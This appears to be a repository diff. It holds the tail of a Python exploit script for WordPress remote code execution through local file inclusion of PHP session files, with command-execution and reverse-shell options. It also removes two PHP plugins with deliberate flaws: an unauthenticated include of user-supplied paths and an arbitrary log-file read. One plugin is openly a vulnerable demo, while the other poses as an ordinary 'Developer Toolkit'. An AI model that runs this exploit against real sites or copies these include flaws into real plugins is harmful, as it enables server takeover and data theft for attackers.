ap = argparse.ArgumentParser(
|
||||
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target:8080/ --cmd 'id'
|
||||
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
|
||||
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target:8080/ --trigger-only
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
|
||||
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
|
||||
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability without payload")
|
||||
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
|
||||
ap.add_argument("--session-path", help="session.save_path on target")
|
||||
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
|
||||
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
|
||||
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
|
||||
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
|
||||
ap.add_argument("--attempts", type=int, default=5,
|
||||
help="Race mode attempts (default 5)")
|
||||
args = ap.parse_args()
|
||||
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
if not path.endswith("/") and "." not in path.split("/")[-1]:
|
||||
path += "/"
|
||||
|
||||
php_code = build_payload(args)
|
||||
sid = os.urandom(16).hex()
|
||||
spaths = list(WP_SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
|
||||
print("=" * 65)
|
||||
print(f" WordPress RCE — {cve}")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" Mode : {args.mode}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
# Phase 0: verify target
|
||||
print("[*] Checking target...")
|
||||
try:
|
||||
r = http_get(host, port, tls, path, timeout=5)
|
||||
sc = status_code(r)
|
||||
if sc == 0:
|
||||
raise ConnectionError("no response")
|
||||
print(f" HTTP {sc} — WordPress alive")
|
||||
except Exception as e:
|
||||
print(f" [!] Not reachable: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Auto-detect LFI param
|
||||
lfi_param = args.lfi_param
|
||||
if not lfi_param:
|
||||
print("[*] Auto-detecting LFI parameter...")
|
||||
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
|
||||
if lfi_param:
|
||||
print(f" [+] Found: {lfi_param}")
|
||||
else:
|
||||
print(" [!] No LFI param detected. Specify --lfi-param")
|
||||
sys.exit(1)
|
||||
print()
|
||||
|
||||
if args.mode == "oom":
|
||||
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||
spaths, args.fields, args.field_size, args)
|
||||
else:
|
||||
ok = attack_race(host, port, tls, path, php_code, lfi_param,
|
||||
spaths, args.attempts, args)
|
||||
|
||||
sys.exit(0 if ok else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,34 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
|
||||
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
|
||||
* LFI vulnerability. Represents plugins like WooCommerce session
|
||||
* handlers, theme builders with template inclusion, etc.
|
||||
* Version: 1.0.0
|
||||
*
|
||||
* Install as mu-plugin:
|
||||
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
|
||||
*
|
||||
* This plugin:
|
||||
* 1. Calls session_start() on every request (like WooCommerce, etc.)
|
||||
* 2. Has a template include that accepts user input (like theme builders)
|
||||
* 3. Registers an AJAX endpoint accessible to unauthenticated users
|
||||
*/
|
||||
|
||||
// Start PHP sessions (common in e-commerce/analytics plugins)
|
||||
if (session_status() === PHP_SESSION_NONE) {
|
||||
session_start();
|
||||
}
|
||||
|
||||
// Register an unauthenticated AJAX handler with LFI
|
||||
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
|
||||
add_action('wp_ajax_analytics_render', 'analytics_render_template');
|
||||
|
||||
function analytics_render_template() {
|
||||
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
|
||||
// Vulnerable: no path validation on template parameter
|
||||
if (file_exists($template)) {
|
||||
include($template);
|
||||
}
|
||||
wp_die();
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Plugin Name: Developer Toolkit
|
||||
* Description: Development and debugging utilities for WordPress developers.
|
||||
* Version: 2.1.0
|
||||
* Author: DevTools Team
|
||||
* License: GPL-2.0+
|
||||
*
|
||||
* Provides template preview, log viewer, and diagnostic tools for development.
|
||||
*/
|
||||
|
||||
if ( ! defined( 'ABSPATH' ) ) {
|
||||
exit;
|
||||
}
|
||||
|
||||
// Register admin page
|
||||
add_action( 'admin_menu', function() {
|
||||
add_management_page(
|
||||
'Developer Toolkit',
|
||||
'Dev Toolkit',
|
||||
'manage_options',
|
||||
'dev-toolkit',
|
||||
'devtoolkit_admin_page'
|
||||
);
|
||||
});
|
||||
|
||||
// Template preview (simulates common theme/template preview plugins)
|
||||
add_action( 'template_redirect', function() {
|
||||
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
|
||||
$template = sanitize_text_field( $_GET['dt_preview'] );
|
||||
if ( file_exists( $template ) ) {
|
||||
include $template;
|
||||
exit;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// AJAX log viewer endpoint (common in debug/logging plugins)
|
||||
add_action( 'wp_ajax_dt_view_log', function() {
|
||||
if ( ! current_user_can( 'manage_options' ) ) {
|
||||
wp_die( 'Unauthorized' );
|
||||
}
|
||||
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
|
||||
if ( $logfile && is_readable( $logfile ) ) {
|
||||
header( 'Content-Type: text/plain' );
|
||||
readfile( $logfile );
|
||||
exit;
|
||||
}
|
||||
wp_die( 'File not found' );
|
||||
});
|
||||
|
||||
// Front-end template include (no auth required - simulates broken plugin)
|
||||
add_action( 'init', function() {
|
||||
if ( isset( $_GET['dt_template'] ) ) {
|
||||
$tpl = $_GET['dt_template'];
|
||||
// "Sanitization" that doesn't prevent path traversal
|
||||
$tpl = str_replace( "\0", '', $tpl );
|
||||
if ( file_exists( $tpl ) ) {
|
||||
include $tpl;
|
||||
exit;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Session-based features (simulates WooCommerce/forms using sessions)
|
||||
add_action( 'init', function() {
|
||||
if ( ! session_id() ) {
|
||||
session_start();
|
||||
}
|
||||
});
|
||||
|
||||
function devtoolkit_admin_page() {
|
||||
echo '<div class="wrap"><h1>Developer Toolkit</h1>';
|
||||
echo '<p>Development utilities for debugging and testing.</p>';
|
||||
echo '<h2>PHP Info</h2>';
|
||||
echo '<p>Session ID: ' . session_id() . '</p>';
|
||||
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
|
||||
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
|
||||
echo '</div>';
|
||||
}
|
||||
Reference in New Issue
Block a user